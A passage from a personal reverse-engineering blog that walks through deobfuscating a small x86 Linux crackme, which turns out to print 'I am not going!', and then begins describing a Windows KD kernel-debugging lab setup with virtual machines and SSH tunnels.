 9
10
11
12
[email protected]:~# for i in 16 29 47 49 50 51 59 63 67 75 78; do cat -n going-or-not-obf-test1.nasm | grep "^[ ]*$i"; done
    16      mov    al,BYTE PTR [esi]
    29      jmp    DWORD PTR [esp]
    47      and    ebp,DWORD PTR gs:[edx]
    49      sub    ebp,DWORD PTR [edx]
    50      sub    DWORD PTR fs:0x654e0d64,esp
    51      and    ebp,DWORD PTR [edx]
    59      mov    BYTE PTR [esp],cl
    63      cmp    BYTE PTR [edx],al
    67      xor    BYTE PTR [edx],bl
    75      mov    cl,BYTE PTR [esi+edx*1]
    78      mov    BYTE PTR [esp],cl

You can see that its all lines that have [SIZE] PTR, we will remove any DWORD PTR and BYTE PTR and for the lines that had BYTE put that before the first operand, so they end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[email protected]:~# for i in 16 29 47 49 50 51 59 63 67 75 78; do cat -n going-or-not-obf-test2.nasm | grep "^[ ]*$i"; done
    16      mov    BYTE al, [esi]
    29      jmp    [esp]
    47      and    ebp, gs:[edx]
    49      sub    ebp, [edx]
    50      sub    fs:0x654e0d64,esp
    51      and    ebp, [edx]
    59      mov    BYTE [esp],cl
    63      cmp    BYTE [edx],al
    67      xor    BYTE [edx],bl
    75      mov    BYTE cl,[esi+edx*1]
    78      mov    BYTE [esp],cl

Now we try to assemble it again:

1
2
3
[email protected]:~# nasm -felf32 -o going-or-not-obf-test2 going-or-not-obf-test2.nasm  
going-or-not-obf-test2.nasm:47: error: invalid combination of opcode and operands
going-or-not-obf-test2.nasm:50: error: invalid combination of opcode and operands

So there is still a problem with 2 lines, it looks as if these instructions are invalid, this could possibly be data, what we shall do is replace these 2 instructions with the raw opcodes from the disassembly, so our application ends up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    0x80480b6
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     0x80480dc
    mov    bh,0x6a
    call   0x804808e
    mov    cl,0x4
    mov    BYTE al, [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     0x8048099
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    0x8048097
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    [esp]
    jmp    0x804809e
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
    call   0x8048069
    in     eax,dx
    dec    esi
    db 0x65,0x23,0x2a
    sub    eax,0x3064232b
    sub    ebp, [edx]
    db 0x64,0x29,0x25,0x64,0x0d,0x4e,0x65
    and    ebp, [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
    mov    al,0xc9
    add    eax,edi
    jmp    0x8048101
    lea    edx,[ebp+0x0]
    mov    BYTE [esp],cl
    dec    esp
    push   0x80480e9
    test   edx,edx
    cmp    BYTE [edx],al
    je     0x8048070
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE [edx],bl
    dec    edx
    ret    
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
    mov    BYTE cl,[esi+edx*1]
    cmp    cl,al
    je     0x80480e2
    mov    BYTE [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     0x804810b
    mov    ebp,ebp
    ret

If we assemble this and test it out:

1
2
3
4
[email protected]:~# nasm -felf32 -o going-or-not-obf-test3.o going-or-not-obf-test3.nasm 
[email protected]:~# ld -o going-or-not-obf-test3 going-or-not-obf-test3.o
[email protected]:~# ./going-or-not-obf-test3
Segmentation fault

So it assembles and links now but we get a segmentation fault. Let's investigate why:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
[email protected]:~# gdb -q ./going-or-not-obf-test3
Reading symbols from /root/going-or-not-obf-test3...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/going-or-not-obf-test3 

Program received signal SIGSEGV, Segmentation fault.
0x080480b6 in _start ()
(gdb) x/i $eip
=> 0x80480b6 <_start+86>:   add    BYTE PTR [eax],al
(gdb) print/x $eax
$1 = 0x0
(gdb) disassemble 
Dump of assembler code for function _start:
   0x08048060 <+0>: mov    edx,eax
   0x08048062 <+2>: mov    edi,0x25
   0x08048067 <+7>: jmp    0x80480b6 <_start+86>
   0x0804806c <+12>:    mov    bl,0x32
   0x0804806e <+14>:    pop    esi
   0x0804806f <+15>:    xor    eax,eax
   0x08048071 <+17>:    je     0x80480dc <_start+124>
   0x08048077 <+23>:    mov    bh,0x6a
   0x08048079 <+25>:    call   0x804808e <_start+46>
   0x0804807e <+30>:    mov    cl,0x4
   0x08048080 <+32>:    mov    al,BYTE PTR [esi]
   0x08048082 <+34>:    sub    esp,ecx
   0x08048084 <+36>:    inc    ecx
   0x08048085 <+37>:    xor    al,cl
   0x08048087 <+39>:    xor    ecx,ecx
   0x08048089 <+41>:    cmp    eax,0x4
   0x0804808c <+44>:    je     0x8048099 <_start+57>
   0x08048092 <+50>:    lea    ecx,[ebp-0xf]
   0x08048095 <+53>:    mov    dl,0x10
   0x08048097 <+55>:    jmp    0x8048097 <_start+55>
   0x0804809c <+60>:    xor    ebx,ebx
   0x0804809e <+62>:    xor    ecx,ecx
   0x080480a0 <+64>:    mov    edx,ecx
   0x080480a2 <+66>:    jmp    DWORD PTR [esp]
   0x080480a5 <+69>:    jmp    0x804809e <_start+62>
   0x080480aa <+74>:    lea    ecx,[ebp-0x1b]
   0x080480ad <+77>:    mov    dl,0xc
   0x080480af <+79>:    xor    eax,eax
   0x080480b1 <+81>:    mov    al,0x8
   0x080480b3 <+83>:    mov    ebx,0x4
   0x080480b8 <+88>:    sub    eax,ebx
   0x080480ba <+90>:    sub    ebx,eax
   0x080480bc <+92>:    inc    ebx
   0x080480bd <+93>:    int    0x80
   0x080480bf <+95>:    xor    eax,eax
   0x080480c1 <+97>:    xor    ebx,ebx
   0x080480c3 <+99>:    inc    al
   0x080480c5 <+101>:   int    0x80
---Type <return> to continue, or q <return> to quit---
   0x080480c7 <+103>:   call   0x8048069 <_start+9>
   0x080480cc <+108>:   in     eax,dx
   0x080480cd <+109>:   dec    esi
   0x080480ce <+110>:   and    ebp,DWORD PTR gs:[edx]
   0x080480d1 <+113>:   sub    eax,0x3064232b
   0x080480d6 <+118>:   sub    ebp,DWORD PTR [edx]
   0x080480d8 <+120>:   sub    DWORD PTR fs:0x654e0d64,esp
   0x080480df <+127>:   and    ebp,DWORD PTR [edx]
   0x080480e1 <+129>:   sub    eax,0x2964232b
   0x080480e6 <+134>:   and    eax,0x89ee0d64
   0x080480eb <+139>:   mov    ebp,eax
   0x080480ed <+141>:   mov    al,0xc9
   0x080480ef <+143>:   add    eax,edi
   0x080480f1 <+145>:   jmp    0x8048101 <_start+161>
   0x080480f6 <+150>:   lea    edx,[ebp+0x0]
   0x080480f9 <+153>:   mov    BYTE PTR [esp],cl
   0x080480fc <+156>:   dec    esp
   0x080480fd <+157>:   push   0x80480e9
   0x08048102 <+162>:   test   edx,edx
   0x08048104 <+164>:   cmp    BYTE PTR [edx],al
   0x08048106 <+166>:   je     0x8048070 <_start+16>
   0x0804810c <+172>:   mov    ebx,edi
   0x0804810e <+174>:   add    ebx,0x1f
   0x08048111 <+177>:   xor    BYTE PTR [edx],bl
   0x08048113 <+179>:   dec    edx
   0x08048114 <+180>:   ret    
   0x08048115 <+181>:   xor    ebp,ebp
   0x08048117 <+183>:   xor    ecx,ecx
   0x08048119 <+185>:   xor    edx,edx
   0x0804811b <+187>:   inc    edx
   0x0804811c <+188>:   lea    ebp,[esp+ecx*1]
   0x0804811f <+191>:   mov    cl,BYTE PTR [esi+edx*1]
   0x08048122 <+194>:   cmp    cl,al
   0x08048124 <+196>:   je     0x80480e2 <_start+130>
   0x0804812a <+202>:   mov    BYTE PTR [esp],cl
   0x0804812d <+205>:   sub    esp,0x1
   0x08048130 <+208>:   inc    edx
   0x08048131 <+209>:   mov    esp,esp
   0x08048133 <+211>:   cmp    ecx,0x0
---Type <return> to continue, or q <return> to quit---
   0x08048136 <+214>:   jg     0x804810b <_start+171>
   0x0804813c <+220>:   mov    ebp,ebp
   0x0804813e <+222>:   ret    
End of assembler dump.

So it looks as if we've landed in the middle of an instruction.

Near the start of the application (on line 16 above), it jumps it a certain memory address which is the middle of an instruction. The resulting instruction, as seen on line 9, tries to move a value to the address pointed to by the EAX register.

On line 11 you can see that the value in EAX is 0, which is what caused the segfault, 0 is an invalid memory address.

The reason for this is because the original application jumped to static memory addresses, in the application the memory addresses are different so this will need to be fixed for the application to work.

What we need to do is replace any fixed memory addresses with labels. We can find where in the application the memory addresses are meant to go by looking at the original disassembly.

Once we have done this the resulting application is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    One
Two:
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     Three
Eight:
    mov    bh,0x6a
    call   Nine
    mov    cl,0x4
    mov    BYTE al, [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     Eleven
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    Twelve
Nine:
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    [esp]
Twelve:
    jmp    Ten
Eleven:
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
Ten:
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
One:
    call   Two
    in     eax,dx
    dec    esi
    db 0x65,0x23,0x2a
    sub    eax,0x3064232b
    sub    ebp, [edx]
    db 0x64,0x29,0x25,0x64,0x0d,0x4e,0x65
    and    ebp, [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
Three:
    mov    al,0xc9
    add    eax,edi
    jmp    Four
Six:
    lea    edx,[ebp+0x0]
    mov    BYTE [esp],cl
    dec    esp
Seven:
    push   Seven
    test   edx,edx
    cmp    BYTE [edx],al
    je     Eight
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE [edx],bl
    dec    edx
    ret    
Four:
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
Five:
    mov    BYTE cl,[esi+edx*1]
    cmp    cl,al
    je     Six
    mov    BYTE [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     Five
    mov    ebp,ebp
    ret

There are a couple of values here (on lines 55, 59 and 60) which look like memory addresses but they aren't valid memory addresses in the original disassembly so they could just be normal values or, as its in the same section as the invalid instructions, part of some data.

With this done we can test this application:

1
2
3
4
[email protected]:~# nasm -felf32 -o going-or-not-obf-test4.o going-or-not-obf-test4.nasm
[email protected]:~# ld -o going-or-not-obf-test4 going-or-not-obf-test4.o
[email protected]:~# ./going-or-not-obf-test4
I am not going!

So we have our answer, the author is not going :-)

Method 2: The Hard Way

Here we will attempt to understand the application and figure out what the application does without building and running it.

Although you would have needed some understanding of IA32 to do the previous method, obviously you will need a better understanding of it to do this.

The first step would be what we have already done. Well, there would be no need for the ability to assemble the application, or even have a valid nasm file but we would need to replace any known addresses with labels because this will make the disassembly significantly easier to read.

For this will we just use the nasm file above (going-or-not-obf-test4.nasm), just because it will make this post a little shorter :-)

What we do now is follow the control flow of the application and simplfy it as we go by replacing more complex sequencies with less complex 1's or even only 1 instruction in some cases and removing any dead instructions (instructions which have no effect on the application at all) altogether.

This process is manual deobfuscation and can be applied to small sections of applications instead of just full applications like the last method.

Let's start with the first instruction mov edx,eax, this looks like it is a junk line (or dead code) mainly because this is the first instruction of the application, if this was just a code segment instead of a full application this code would be more likely to be meaningful.

The second instruction mov edi,0x25, is also very difficult to quickly determine its usefulness to the application, what we need to do here is take note of the value inside the EDI register.

The next 4 instructions do something interesting, if you follow the control flow of the application and line the instructions sequentially you get:

1
2
3
4
5
6
  jmp    One
One:
  call   Two
Two:
  mov    bl,0x32
  pop    esi

So the 3rd instruction (on line 5) is not related here, and is similar to the previous mov instruction, just make a note that bl contains 0x32.

The other 3 instructions are using a technique used in some shellcode to get the an address in memory when the code might start at a different point in memory.

Its called the JMP-CALL-POP technique and gets the address of the address immediately following the call instruction into the register used in the pop instruction.

Knowing this we can replace the entire code above with:

1
2
  mov    bl,0x32
  mov    esi, One

Let's look at the next 4 instructions:

1
2
3
4
5
  xor    eax,eax
  je     Three
Three:
  mov    al,0xc9
  add    eax,edi

So here, on line 5, we use the EDI register, we zero EAX, set it to 0xc9 (201), adds it to EDI (0x25 or 37) and stores the result in EAX, this series of instructions are what is called constant unfolding where a series of instructions are done to work out the actual required value instead of just assigning the value to begin with.

We could use the opposite, a common compiler optimization constant folding, to decrease the complexity of this code, so these 4 instructions could be replaced by:

1
  mov    eax,0xee

The next 5 instructions are:

1
2
3
4
5
6
  jmp    Four
Four:
  xor    ebp,ebp
  xor    ecx,ecx
  xor    edx,edx
  inc    edx

This set of instructions just sets EBP and ECX to 0 and EDX to 1. Now its obvious that the instrction at the beginning was dead code because EDX hasn't been used at all and now it has been overwritten.

We can rewrite the application so far in a much more simplfied way:

1
2
3
4
5
6
7
8
_start:
  mov    edi,0x25
  mov    bl,0x32
  mov    esi, One
  mov    eax,0xee
  xor    ebp,ebp
  xor    ecx,ecx
  mov    edx,0x1

As you can see, this is much easier to read than the previous code that was jumping about all over the place.

I kept the assignment to EDI (on line 2) there because, although I've removed the need for it in assigning the value of EAX (on line 5), it still might be used in the future.

Also, the assignment to bl (on line 3) still might not be needed but we shall keep it there just incase.

Let's quickly review the state of the registers:

1
2
3
4
5
6
7
EDI = 0x25
BL = 0x32
ESI = (Address of One) One
EAX = 0xee
EBP = 0x0
ECX = 0x0
EDX = 0x1

The register state and code rewrite should be constantly updated as you go through the code.

The next instruction is lea ebp,[esp+ecx*1], which is the same as EBP = ESP + ECX * 1 or EBP = ESP + 0 * 1 or EBP = ESP.

After this instruction we enter the following loop:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Five:
  mov    BYTE cl,[esi+edx*1]
  cmp    cl,al
  je     Six
  mov    BYTE [esp],cl
  sub    esp,0x1
  inc    edx
  mov    esp,esp
  cmp    ecx,0x0
  jg     Five
  mov    ebp,ebp
  ret

So this first moves a byte at ESI + EDX * 1, which is basically just ESI + EDX, into the cl register. We know at this point the value inside EDX is 1 and that ESI points to some address in the middle of the application, so our loop will start getting data 1 byte after that address.

This byte is them compared with al, which we know is 0xee, and if they are the same execution will jump to Six.

Providing the jump to Six isn't taken, the byte is moved to the top of the stack (which ESP points to), ESP is adjusted accordingly, EDX is incremented by 1 and the loop is rerun.

The mov instruction on line 8 doesn't do anything, dead code which can be removed.

Now we can find all of the data that is being worked on here:

1
4e 65 23 2a 2d 2b 23 64 30 2b 2a 64 29 25 64 0d 4e 65 23 2a 2d 2b 23 64 29 25 64 0d ee

The starting address of this data is 80480bc in the original disassembly, which is 1 byte after the address of the instruction following the call instruction in the jmp-call-pop routine at the start of the application.

It ends with the ee value because this is the point at which the jump to Six is taken.

Also, notice that nowhere here is a 0x0 (or 00) byte, this means that the jg (jump if greater than) instruction on line 10 will always be taken, every byte there is above 0 so the 2 instructions after are dead code and can be removed from the analysis and the jg can be replaced with a jmp.

It is clear that this data, which is sitting in the middle of the application, is being put on the stack for some reason, the lea instruction right before the loop just saved the address pointing to the beginning of the new location of the data on the stack into the EBP register.

We could try to figure out how meaningful this data is now but it would be best to have a look to see what the application does with it first.

Now let's take the jump to Six:

1
2
3
  lea    edx,[ebp+0x0]
  mov    BYTE [esp],cl
  dec    esp

First it loads the address of the data on the stack, currently in EBP, into EDX.

cl, which is currently 0xee, is put onto the stack and ESP is adjusted accordingly.

We then enter into the 2nd loop:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Seven:
  push   Seven
  test   edx,edx
  cmp    BYTE [edx],al
  je     Eight
  mov    ebx,edi
  add    ebx,0x1f
  xor    BYTE [edx],bl
  dec    edx
  ret

This is a very unusual loop, you will only see this type of code when reversing obfuscated code.

It started by pushing its own address to the stack, this allows the ret on line 10 to return to Seven.

The test instruction on line 3 is dead code because all test does is set EFLAGS, but they are immediately overwritten by the cmp instruction that follows.

Lines 4 and 5 again test the value of a byte in the data, this time pointed to by EDX, against 0xee and jump's to Eight when its reached.

The next 2 instructions, lines 6 and 7, move the value from EDI into EBX and add's 0x1f to it. We already know that 0x25 is currently in EDI, so EBX = 0x25 + 0x1f or EBX = 0x44.

The byte in the data is then xor'd with bl (or 0x44) and EDX is decremented.

Clearly this is a simply xor encoding of the data, I wrote a python script a while ago to xor a number of bytes with 1 byte and output both the resulting bytes as ascii characters, and the same but with the characters reversed (due to little endian architectures), here is the script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

import sys

string = sys.argv[1]
xor = sys.argv[2]
decoded = ""

for c in string:
    decoded += chr(ord(c) ^ ord(xor))


print "String as is:"
print decoded

print "\n\nString reversed:"
print decoded[::-1]

This script is very simple, 1 thing to bare in mind though is that, because we are dealing with data outside of the printable ascii range (0x20 - 0x7e), we can just type the characters on the command line.

So we run the script like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[email protected]:~# python xor-and-ascii.py $(python -c 'print "\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x30\x2b\x2a\x64\x29\x25\x64\x0d\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x29\x25\x64\x0d"') $(python -c 'print "\x44"')
String as is:

!gniog ton ma I
!gniog ma I


String reversed:
I am going!
I am not going!

So now we know what that data is in the middle of the application, clearly it was done like this to confuse but we have reversed enough of the application now to figure out what this is.

With this is mind, we no longer need those 2 loops, or any of the code aimed at moving and decoding the data, we can simply put it in as is.

Let's review our rewritten application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
_start:
  mov    edi,0x25
  mov    esi,One
  mov    ebp,not+0xf
  mov    ebx,0x44
  mov    ecx,0xee
  mov    eax,ecx
  mov    edx,am
One:
  db 0xed
  am: db "I am going!",0xa
  not: db "I am not going!",0xa

I have obviously removed most of the code because it simply isn't needed now, I've made sure that EBP still points to the end of the data and EDX to the beginning just incase there is some reason for this, but most of the code so far was devoted to decoding the data which is no longer needed.

Now for the registers:

1
2
3
4
5
6
7
EDI = 0x25
EBX = 0x44
ESI = (Address of One) One
EAX = 0xee
EBP = (Address of the end of the data) not+0xf
ECX = 0xee
EDX = (Address of the beginning of the data) am

The next 5 instructions show another weird use of call and jmp:

1
2
3
4
5
6
7
8
Eight:
  mov    bh,0x6a
  call   Nine
Nine:
  xor    ebx,ebx
  xor    ecx,ecx
  mov    edx,ecx
  jmp    [esp]

Firstly there is an assignment to bh (the second 8 bits of the EBX register) but then, on line 5, the whole EBX register is cleared using xor so line 2 is dead code.

The call instruction on line 3 and the jmp instruction on line 8 seem to be used just to confuse the reverser, there is no reason for this, but bare in mind that this would have stuck 4 bytes on the stack, next to the decoded data, which hasn't been cleaned up (this could effect the application in some way).

The rest of this code just zero's out EBX, ECX and EDX.

The next 8 instructions are very interesting:

1
2
3
4
5
6
7
8
  mov    cl,0x4
  mov    BYTE al, [esi]
  sub    esp,ecx
  inc    ecx
  xor    al,cl
  xor    ecx,ecx
  cmp    eax,0x4
  je     Eleven

Lines 1 and 3 fix the value of ESP after the call, jmp sequence earlier.

The rest xor's 0x5 with the byte at One and compares the result with 0x4. We can test this out in python, we know the byte at One is 0xed, so:

1
2
3
4
5
6
7
8
[email protected]:~# python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "\xed"
>>> b = "\x05"
>>> hex(ord(a) ^ ord(b))
'0xe8'

This isn't equal to 0x4 so the jump on line 8 will not be taken.

The next instruction lea ecx,[ebp-0xf] loads EBP - 16 into ECX, ECX will now point to somewhere in the middle of the data (it will actually point 16 characters from the end, which is the start of the string I am not going!).

We can probably guess at what this is going to do from here but let's finish the analysis.

0x10 is then loaded into EDX and then 2 unconditional jumps are taken:

1
2
3
  jmp    Twelve
Twelve:
  jmp    Ten

The only reason for these jumps is to confuse the reverser, we can just ignore them.

The next 7 lines is a very important part of the application:

1
2
3
4
5
6
7
  xor    eax,eax
  mov    al,0x8
  mov    ebx,0x4
  sub    eax,ebx
  sub    ebx,eax
  inc    ebx
  int    0x80

So lines 1-4 set EAX to 0x4, lines 5 and 6 set EBX to 0x1 and then the interrupt *0x80 is initiated.

Interrupt 0x80 is a special interrupt which initiates a system call, the system call number has to be stored in EAX, which is 0x4 at this moment in time.

We can figure out what system call this is:

1
2
[email protected]:~# grep ' 4$' /usr/include/i386-linux-gnu/asm/unistd_32.h 
#define __NR_write 4

This makes sense, the prototype for this syscall is:

1
ssize_t write(int fd, const void *buf, size_t count);

Each of the arguments go in EBX, ECX and EDX. So to write to stdout, EBX should be 1 which it is.

ECX should point to the string, which it currently points to I am not going!, and EDX should contain the number of characters to print which it does.

The last 4 instructions just run another syscall, exit, you can check this yourself if you wish:

1
2
3
4
  xor    eax,eax
  xor    ebx,ebx
  inc    al
  int    0x80

Obviously we can now wrtie this in a much simpler way, but there is no need, we know exactly what this application does and how it does it.

Improving Obfuscation

As I mentioned earlier, the obfuscation could have been done better to make the reversing process harder. I actually purposefully made the obfuscation weaker than I could have to make the challenge easier.

Inserting more junk data inbetween some instructions could make the static disassembly significantly more difficult to read and understand.

I have to actually add a byte (0x89) at the end of the data section because the next few instructions were being obfuscated in a way that made them unreadable:

1
2
3
4
5
6
 80480d5:   25 64 0d ee 89          and    eax,0x89ee0d64
 80480da:   c5 b0 c9 01 f8 eb       lds    esi,FWORD PTR [eax-0x1407fe37]
 80480e0:   1f                      pop    ds
 80480e1:   8d 55 00                lea    edx,[ebp+0x0]
 80480e4:   88 0c 24                mov    BYTE PTR [esp],cl
 80480e7:   4c                      dec    esp

The disassembly shown here has had the last byte of the data removed and is the last line of the data section; and a few lines after.

As you can see the byte following the data section has been moved to the data section and as a result the next few instructions have been incorrectly disassembled.

This method can be implemented throughout the whole application, making most of the instructions disassemble incorrectly.

Constant unfolding could be improved here, for instance:

1
2
3
4
5
6
  mov    al,0x8
  mov    ebx,0x4
  sub    eax,ebx
  sub    ebx,eax
  inc    ebx
  int    0x80

Could be rewritten to:

1
2
3
4
5
6
7
8
9
  push 0xff7316ca
  xor [esp], 0x8ce931
  mov eax, 0xffffffff
  sub eax, [esp]
  push eax
  shl [esp], 0x4
  sub [esp], 0x3f
  pop ebx
  int 0x80

They both do the same thing but the second is a little harder to read, you could obviously keep extending this by implementing more and more complex algorithms to work out your required value.

This can also be applied to references to memory addresses, for instance, if you want to jump to a certain memory address, do some maths to work out the memory address before jumping there.

More advanced instructions could be used like imul, idiv, cmpsb, rol, stosb, rep, movsx, fadd, fcom... The list goes on...

The MMX and other unusual registers could have been taken advantage of.

Also, the key to decrypt the data could have been a command line argument or somehow retreived from outside of the application, this way it would have been extremely difficult decode the data.

Conclusion

There are sometimes easier ways to get a result other than reversing the whole application, maybe just understanding a few bits might be enough.

Although there are ways to make the reversers job more difficult, its never possible to make it impossible to reverse, providing the reverser is able to run the application (if the CPU can see the instructions, then so can the reverser).

A good knowledge of assembly is needed to do any type of indepth reverse engineering.

Further Reading

Reversing: Secrets of Reverse Engineering by Eldad Eilam

Intel® 64 and IA-32 Architectures Developer's Manual

Usermode Application Debugging Using KD

24 September 2014 at 19:42
By: 0xe7

I have started the Windows kernel hacking section with a simple explaination of the setup and a quick analysis of the crackme, that we analysed here, using the kd.exe kernel debugger.

I chose to do this instead of any actual Windows kernel stuff because its a steep learning experience learning how to use KD so its probably best to look at something you have already seen.

Setting Up The Environment

For this post I will be using a total of 4 machines, 3 virtual machines using VMware Player (you probably could use Virtualbox for this also though) hosted on a reasonably powerful machine and a laptop.

You can however do all of this with just 1 physical machine, hosting 1 virtual machine and I will explain the differences in the setup afterwards but I'll first explain the setup I am using.

Here is a visual representation of the network:

So I have 3 virtual machines on my machine running VMware Player:

1 Kali Linux, 1 Windows XP Professional and 1 Windows 7 Home Edition. All 3 of these are 32bit, although it doesn't matter but to follow along you would probably want the debuggee (the Windows 7 machine in my setup) to be 32bit. In my 2 machine setup described below the host (and debugger) is a Windows 7 64bit machine.

The Kali machine has 2 network interfaces, 1 setup in Bridged mode (so that I can SSH directly to it):

And the other setup in Host-only mode (So that it has access to the other 2 machines):

The Windows XP machine has 1 network interface setup in Host-only mode:

And the same for the Windows 7 machine:

The Windows XP and Windows 7 machines are also connected via a virtual serial cable, this is for the debugger connection.

The Windows XP machine will be the client (or the debugger):

And the Windows 7 machine will be the server (or the debuggee):

The Windows 7 machine needs both Visual Studio Express 2013 for Windows Desktop and the Windows Driver Kit (WDK) installed on it. You can get them both here.

The Windows XP machine needs Microsoft Windows SDK for Windows 7 installed, which you can get here. To install this you need to install the full version of Microsoft .NET Framework 4, which you can get here (Bare in mind that you might need an internet connection while you install these so just change the network adaptor configuration to NAT and then once it is installed change it back to Host-only again).

If the debugger is a Windows 7 machine then you will need to install the same software as on the debuggee.

Once these are installed, its best to add the path to the kd.exe application to the PATH variable.

You do this by going in to the properties of My Computer and, on Windows 7 going to Advanced system settings->Environment Variables... or on Windows XP going to Advanced->Environment Variables... and scroll down the Path and click Edit.

The path on Windows 7 should be something like C:\Program Files\Windows Kits\8.1\Debuggers\x86 and on Windows XP C:\Program Files\Debugging Tools for Windows (x86).

For remote administration I've installed TightVNC on both of the Windows machines.

I set it up with access through a Kali machine so that I can setup SSH tunnels and get VNC access to the Windows machines without giving them access to the outside network.

After TightVNC is up and running on your Windows machines, you can setup the SSH tunnels like this (For this explaination we'll imagine that the Windows XP machine is on the VMware virutal network with an IP of 172.16.188.130, the Windows 7 machine is on 172.16.188.131 and that our Kali machine is also on this network):

1
2
[email protected]:~# ssh -f [email protected] -L 5900:172.16.188.130:5900 -N
[email protected]:~# ssh -f [email protected] -L 5901:172.16.188.131:5900 -N

Now if you VNC to 127.0.0.1 you will have access to the Windows XP machine and to 127.0.0.1:1 you will have access to the Windows 7 machine.

1 VM Setup

You can also setup this up with 2 machines, the VMware host (running Windows, which will be the debugger) and the VMware guest (also running Windows, which will be the debuggee).

The serial port configuration for the debuggee in VMware in this setup should look like this:

Notice the different file path and name for Windows, the other end should be set to The other end is an application and Yeild CPU on poll should be checked.

The only other thing that is different is the command you will use to launch KD on the debugger (we haven't got to that but it is shown below for my 4 machine setup), you should instead use kd -k com:port=\\.\pipe\com_1,pipe.

Using KD

On Windows 7 (the debuggee) you will need to tell it to lanuch the debugger on boot, for this you need to run an Administrator command prompt and:

1
2
3
4
5
C:\Windows\system32>bcdedit /dbgsettings SERIAL DEBUGPORT:2 BAUDRATE:115200
The operation completed successfully.

C:\Windows\system32>bcdedit /debug on
The operation completed successfully.

The DEBUGPORT:2 option here is the port number of the COM port that you are going to use, for me it was COM2 hence the number 2.

Now we launch the kernel debugger on the Windows XP machine (this is the command that is different on the 2 machine setup):

1
2
3
4
5
6
7
C:\Documents and Settings\User>kd -k com:port=1,baud=115200

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\com1
Waiting to reconnect...

Again the port=1 option here is the COM port that you are going to be using, I will be using COM1 on this machine hence the 1.

Then reboot the Windows 7 machine and watch the KD terminal on the Windows XP machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Connected to Windows 7 7601 x86 compatible target at (Fri Sep 26 14:43:59.625 20
14 (UTC + 1:00)), ptr64 FALSE
Kernel Debugger connection established.
Symbol search path is: SRV*C:\websymbols*http://msdl.microsoft.com/download/symb
ols
Executable search path is:
Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS Personal
Built by: 7601.18409.x86fre.win7sp1_gdr.140303-2144
Machine Name:
Kernel base = 0x82814000 PsLoadedModuleList = 0x8295d5b0
Debug session time: Sun Dec 29 22:42:59.976 1985 (UTC + 1:00)
System Uptime: 0 days 0:02:14.490

Now run the crackme application on the debuggee (Windows 7):

Go back to the Windows XP machine and in the debugger terminal window press Control + C:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
